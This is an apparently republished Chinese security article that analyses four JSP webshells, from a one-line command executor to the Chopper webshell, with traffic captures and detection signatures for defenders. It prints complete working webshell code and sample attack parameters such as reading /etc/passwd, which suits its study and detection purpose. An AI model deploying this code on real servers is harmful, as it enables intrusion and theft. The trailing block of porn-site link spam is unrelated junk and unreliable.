几种典型 JSP WebShell 的深度解析

本人目前还是实习生,第一次发表文章到 FreeBuf。分析的不好的地方还望各位大牛可以指导一下。

前言

对于一条威胁情报信息,我们需要分析该攻击的指纹信息、相关攻击工具、属于哪个组织、相关历史事件、历史相关攻击源IP等信息。通过这些信息进行关联分析,找到攻击来源。并根据攻击组织或个人的攻击偏好,做出相应的安全防护及进一步追踪溯源。

本文分析 Jsp WebShell 样本是通用型的,不需关注制作者是谁。但需要分析该 WebShell 的指纹、利用方式、相关工具等信息。

正文

环境搭建:

  • VMware + Windows XP iso + JspStudy / (Tomcat + JDK 1.7 + Mysql ),XP 设置桥接模式+虚拟机内配置 IPv4 与本机相同 C 段 IP。
  • 创建相关 WebShell 文件,使用 JspStudy 方式搭建环境,文件置于 JspStudy \ WWW 目录下。使用 Tomcat + JDK 1.7 + Mysql 方式,将文件置于 apache-tomcat-7.0.82 \ webapps \ ROOT 目录下。

本文将分析 4 个典型的JSP WebShell。分别是:

    (1)无回显执行命令

(2)有回显带密码验证

(3)远程执行下载文件

(4)菜刀型 WebShell

1.无回显执行命令的WebShell

代码如下:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

打开 FireFox,连接该 WebShell页面显示空。使用 hackbar 执行指令:

image.png

执行成功,创建 c.txt 文件:

image.png

1.1 代码分析

Runtime.getRuntime().exec() 方法是 Java 中用于执行外部的程序或命令的函数。Runtime.getRuntime().exec共有六个重载方法,此次实验,我们使用第一个重载方法,仅传入字符串型指令。

request.getParameter("i") 方法是获取 URL 中传入的参数的值。方法中已指定参数 i ,因此只接受参数 i=xxxx

根据代码分析,可以得知该 WebShell 功能为执行系统命令,无输出内容显示。权限为 Administrator。

1.2 特征分析

该 WebShell 只能执行系统命令,且无法在页面显示。因此当攻击者使用该 WebShell 时,Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST请求该 URL,并且传入系统命令。

下面是在不同操作系统中利用该WebShell执行系统命令的例子,基于该行为特征,在日志中可发现该类型的 JSP WebShell。Windows系统请求参数

  • cmd /c echo xxxx(WebShell代码)>shell.jsp

Linux系统请求参数

  • cat /etc/passwd >1.txt(网页访问该文件,得到账户密码)

2.有回显带密码验证

代码如下:

<%
    if("023".equals(request.getParameter("pwd")))
    {
        java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

连接 WebShell,使用密码 023 及指令 ipconfig。页面回显出执行命令后的结果:

image.png

2.1 代码分析:

密码为 023,通过获取传入的 pwd 参数的值。使用 equals 方法进行比较:

"023".equals(request.getParameter("pwd"))

执行i参数传入的指令,将会返回数据。通过 getInputStream() 方法获取数据的字节流:

Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

创建字节数组,用于存储字节数据。且该数组大小为 2048 字节:

byte[] b = new byte[2048];

while 循环中,不断的读取之前返回的字节流。每次读取一个字节,并转换为 string 类型输出,直到 in.read() 读取完所有数据返回结果为 -1。为了能在浏览器页面显示,使用 HTML 标签 <pre></pre> 包含数据:

 out.print("<pre>");
     while((a=in.read(b))!=-1)
     {
         out.println(new String(b));
     }
 out.print("</pre>");

2.2 特征分析

对比上一个 WebShell,多了回显功能及密码验证功能。该 WebShell 的利用需传入密码及系统命令两个参数。因此,Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST访问该 URL,只传入密码和系统命令。    基于该行为特征,在日志中可发现该类型的 JSP WebShell。不仅能发现连接密码,同时可发现攻击者执行的系统命令。下面是执行系统命令的例子:

Windows系统请求参数

  • cmd /c echo xxxx(WebShell代码)>shell.jsp

Linux系统请求参数

  • cat /etc/passwd >1.txt(网页访问该文件,得到账户密码)

3.远程执行下载文件

代码如下:

<%
    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
    byte[] b = new byte[1024];
    java.io.ByteArrayOutputStream baos = new
    java.io.ByteArrayOutputStream();
    int a = -1;
    while ((a = in.read(b)) != -1)
    {
        baos.write(b, 0, a);
    }
    new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>

该 WebShell 只有下载文件的功能,无法执行系统命令。传入文件名称和文件下载 URL,连接该 WebShell:

image.png

下载完成之后,在当前路径下生成 1.png 文件:

image.png

3.1 代码分析:

获取参数 u 的值,打开该 URL 获取字节流:

java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

创建字节流数组,用于存入下载文件的字节流数据:

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

将字节流数据写入字节流数组中:

while ((a = in.read(b)) != -1)
{
        baos.write(b, 0, a);
}

因为 getRealPath("/"),传入路径为 "/"。获取当前 WebShell 所在文件夹的绝对路径。若文件夹外并不存在参数f所传入的文件名,则创建该文件,并写入字节流数组数据:

new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());

3.2 特征分析:

通过 WebShell 检测工具 D 盾对该 WebShell 进行检测,发现检测正常:

image.png

此类 WebShell 的主要功能为下载文件,并且在浏览器页面没有回显。主要存在于 Windows 系统的服务器中。通过 Web 日志及 DPI 等防护设备,可发现攻击者GET/POST访问的 jsp 路径后面包含其他 URL,且通过该 URL 可下载文件。

4.菜刀型WebShell

该 WebShell 网上随处可见,可以很容易找到。代码较多,刚开始看的时候,能看明白各个函数的作用。却没法梳理出一个大体的利用流程。因此使用了一个很重要的分析工具 WireShark。

4.1 代码分析:

4.1.1文件操作

导入程序中需要用到的包,包含所需的功能:

<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" %>

登陆连接

定义密码:

String Pwd = "PW";

使用菜刀工具,登录 WebShell 并使用 WireShark 抓取。WireShark 过滤条件为 ip.addr == 192.168.xxx.xxx(所配置的虚拟机IP地址) and http

image.png

从抓取的流量中可以得到两个参数PW=A,z0=GB2312z0 的值代表字体格式,那么 PW 的值可能为判断条件。    查看源代码,找到与 PW 参数的值相关的运行代码:

 String cs = request.getParameter("z0") + "";
 request.setCharacterEncoding(cs);
 response.setContentType("text/html;charset=" + cs);
 String Z = EC(request.getParameter(Pwd) + "", cs);
 String z1 = EC(request.getParameter("z1") + "", cs);
 String z2 = EC(request.getParameter("z2") + "", cs);
 StringBuffer sb = new StringBuffer("");
 try
 {
  sb.append("->" + "|");
  if (Z.equals("A"))
  {
   String s = new File(application.getRealPath(request.getRequestURI())).getParent();
   sb.append(s + "\t");
   if (!s.substring(0, 1).equals("/"))
   {
       AA(sb);
   }
  }
 }

1)    上述代码中,Pwd="PW",cs= "GB2312",因此 Z="A"

String Z = EC(request.getParameter(Pwd) + "", cs);

2)    获取当前页面所在服务器的绝对路径:

String s = new File(application.getRealPath(request.getRequestURI())).getParent();

3)    判断当前路径字符串第一个字符是否为 "/",若不是则调用方法 AA()

if (!s.substring(0, 1).equals("/"))

4)AA() 方法中,File.listRoots() 首先获取所有可用的文件系统的根目录对象的数组。并通过 StringBuffer的append() 将数组追加,转换为字符串类型。

void AA(StringBuffer sb) throws Exception
{
 File r[] = File.listRoots();
 for (int i = 0; i < r.length; i++)
 {
  sb.append(r[i].toString().substring(0, 2));
 }
}

5)最后输出 out.print(sb.toString()); 即输出 "C: D:",并在菜刀界面显示:

image.png

打开C盘查看C盘目录下的文件

image.png

根据PW="B",找到判断条件:

 else if (Z.equals("B")) {
  BB(z1, sb);
 }

查看方法BB()

void BB(String s, StringBuffer sb) throws Exception
{
 File oF = new File(s), l[] = oF.listFiles();
 String sT, sQ, sF = "";
 java.util.Date dt;
 SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
 for (int i = 0; i < l.length; i++)
 {
  dt = new java.util.Date(l[i].lastModified());
  sT = fm.format(dt);
  sQ = l[i].canRead() ? "R" : "";
  sQ += l[i].canWrite() ? " W" : "";
  if (l[i].isDirectory()) {
   sb.append(l[i].getName() +
    "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
         } else {
   sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
  }
 }
 sb.append(sF);
}

1)    读取盘下所有文件:

l[] = oF.listFiles();

2)    定义文件修改时间的格式:

SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

3)    获取第i个文件的最新修改时间:

new java.util.Date(l[i].lastModified());

4)    对文件的读写进行判断,并增加标识:

sQ  = l[i].canRead()  ? "R" : "";
sQ += l[i].canWrite() ? "W" : "";

5)    判断是否为文件夹,若是,则增加一个文件夹标识 "/\t"。若不是,则获取文件名并追加到字符串后面:

if (l[i].isDirectory())
{
  sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
}
else
{
  sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}

6)    最后返回多行字符串,代表每个文件或文件夹所处的位置:

image.png

打开文本文件

得到 PW="C" 及 z1 中显示所操作文件的路径:

image.png

1)    查看C对应执行的代码:

 else if (Z.equals("C"))
 {
  String l = "";
  BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
  while ((l = br.readLine()) != null)
  {
   sb.append(l + "\r\n");
  }
  br.close();
 }

2)    下面代码实现读取当前文件的内容,并读取每行数据追加到字符串后门:

BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));`
while ((l = br.readLine()) != null)
{
    sb.append(l + "\r\n");
}

修改文本文件

根据之前的规律,找到修改文件时调用的程序代码:

else if (Z.equals("D"))
{
  BufferedWriter
  bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
  bw.write(z2);
  bw.close();
  sb.append("1");
 }

1)    利用缓冲字符流打开文本文件:

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

2)    向文本文件写入修改的部分:bw.write(z2);

删除文件

1)    找到具有删除功能的程序代码

 else if (Z.equals("E"))
 {
  EE(z1);
  sb.append("1");
 }

2)    调用方法 EE()

void EE(String s) throws Exception
{
 File f = new File(s);
 if (f.isDirectory())
 {
  File x[] = f.listFiles();
  for (int k = 0; k < x.length; k++)
  {
   if (!x[k].delete())
   {
    EE(x[k].getPath());
   }
  }
 }
 f.delete();
}

3)    如果删除的文件为一个文件夹,则递归删除文件夹内所有文件。若非文件夹,则直接删除:

if (f.isDirectory())
{
  File x[] = f.listFiles();
  for (int k = 0; k < x.length; k++)
  {
   if (!x[k].delete())
   {
    EE(x[k].getPath());
   }
  }
 }
 f.delete();

4.1.2命令执行

CMD 指令,输入 ipconfig。返回内容较少是因为组设置大小为 1024 字节:

image.png

1)    查看抓取的流量数据:

image.png

2)    获取参数:W = M,z0 = GB2312,z1 = /ccmd,z2=cd /d "C:\apache-tomcat-7.0.82-windows-x86\apache-tomcat-7.0.82\webapps\ROOT\2\"&ipconfig&echo [S]&cd&echo [E]

3)    该操作执行下面代码:

else if (Z.equals("M"))
{
  String[] c =
    {
      z1.substring(2), z1.substring(0, 2), z2
    };
  Process p = Runtime.getRuntime().exec(c);
  MM(p.getInputStream(), sb);
  MM(p.getErrorStream(), sb);
 }

4)    调用 MM 方法:

void MM(InputStream is, StringBuffer sb) throws Exception
{
 String l;
 BufferedReader br = new BufferedReader(new InputStreamReader(is));
 while ((l = br.readLine()) != null)
 {
  sb.append(l + "\r\n");
 }
}

5)    执行上述字符串数组 cc 为cmd /c z2

Process p = Runtime.getRuntime().exec(c);

6)    将字节流数据转换为缓冲字符流,并追加到字符串后面:

BufferedReader br = new BufferedReader(new InputStreamReader(is));
 while ((l = br.readLine()) != null)
 {
  sb.append(l + "\r\n");
 }

4.1.3数据库操作

对数据库的操作的相关代码是 Java 对数据库执行 CRUD 操作的代码。因此该操作只分析登录数据库时的代码。连接数据库需提前知道数据库的账户和密码。抓取菜刀进行数据库操作的流量,本次登录的是 mysql 数据库:

image.png

参数 z1 传入的是 Java 连接数据库是使用的 API,即 JDBC:

z1 = com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456

执行数据库登录的相关代码如下:

else if (Z.equals("N"))
{
  NN(z1, sb);
 }

1)    调用 NN 方法:

void NN(String s, StringBuffer sb) throws Exception
{
 Connection c = GC(s);
 ResultSet r = c.getMetaData().getCatalogs();
 while (r.next())
 {
  sb.append(r.getString(1) + "\t");
 }
 r.close();
 c.close();
}

2)    连接数据库,返回 connect 接口:

Connection c = GC(s);

3)    获取数据库数据,从中获取数据库名称列表:

ResultSet r = c.getMetaData().getCatalogs();

4)    循环读取下一个名称,追加到字符串中:

while (r.next())
{
  sb.append(r.getString(1) + "\t");
 }

4.1.4 代码执行过程

经过分析,对菜刀 JSP WebShell 代码的整体执行过程有了大致的了解:

<% @page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.* ......." %>
<% !
            定义变量  Pwd....//登录密码
            定义函数AA()、BB()、CC()......
%>
<%
      ......
      request.getParameter("z0")//获取参数Pwd,z0,z1,z2.....
      .....
      String Z=  EC(request.getParameter(Pwd)+””,cs);
      if     (Z.equals("A"))    { AA(相关参数)  }
      else if(Z.equals("B"))    { BB(相关参数)  }
      else if(Z.equals("C"))    { CC(相关参数)  }
      .......
      输出字符串
%>

流程图如下:

image.png

4.2 特征分析

根据抓取的流量显示,对 WebShell 所做的操作的结果,都会以字符串的形式返回给菜刀进行处理,并显示出来。字符串形式为 "->|xxxx|<-",为菜刀 WebShell 的特征字符。若发现成功利用菜刀 WebShell 的行为,基于该特征字符,将会在 DPI 中发现此类攻击事件。

同时,该 WebShell 对数据库的操作,需要知道目标主机数据库的账户和密码。如果发现成功访问数据库的流量数据,则说明该主机数据库信息已泄露。攻击者在此之前利用了 sql 注入、社工、爆破等渗透方式进行了入侵。需通过历史事件中对可疑攻击进行关联分析。

5 总结

通过对 WebShell 代码的分析,可以深入了解其功能和特征信息,有利于我们对攻击来源和意图有更好的理解。仅通过攻击结果来分析问题,会忽略很多重要信息,无法准确描绘出黑客画像。

以上是我在实习期间的一些感悟,后期我会不断把自己的研究成果分享出来。谢谢各位!

未经允许不得转载(声明:本文内容由互联网用户自发贡献自行上传,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任。如果您发现有涉嫌版权的内容,欢迎发送邮件至:net-net@foxmail.com进行举报,并提供相关证据,工作人员会在10个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。):策信智库资讯网 » 几种典型 JSP WebShell 的深度解析

赞 (0)
indian school girls porn videos tubexo.mobi school girls xvideo broken marriage vow march 22 full episode thepinoytv.net abot kamay na pangarap episode today افلام سكس هندي arabicpornmovies.com بنات محجبات سكس شاب ينكح اخته arabianporns.com قصص سكس سعودي سكس في الطيارة muarab.net سكس عربى واجنبى girls fucking videos freshpornclips.mobi xxx free download سكس بكارة porndot.info موقع افلام اباحية bengali sexy sex teenpornvideo.mobi chella kutty كسه 24pornos.com سكس قرد مع بنت punjabi randi sex nudevista.pro mia khalifa naked ashima bhalla bigassporntrends.com www.indianxx nude b grade indiananalfuck.com you pron xxx hinde vedio tubeofporn.mobi iwink tv kolkata girls need sex pornhindimovies.com indian xxx vidio saxy bf download pornborn.mobi co xxx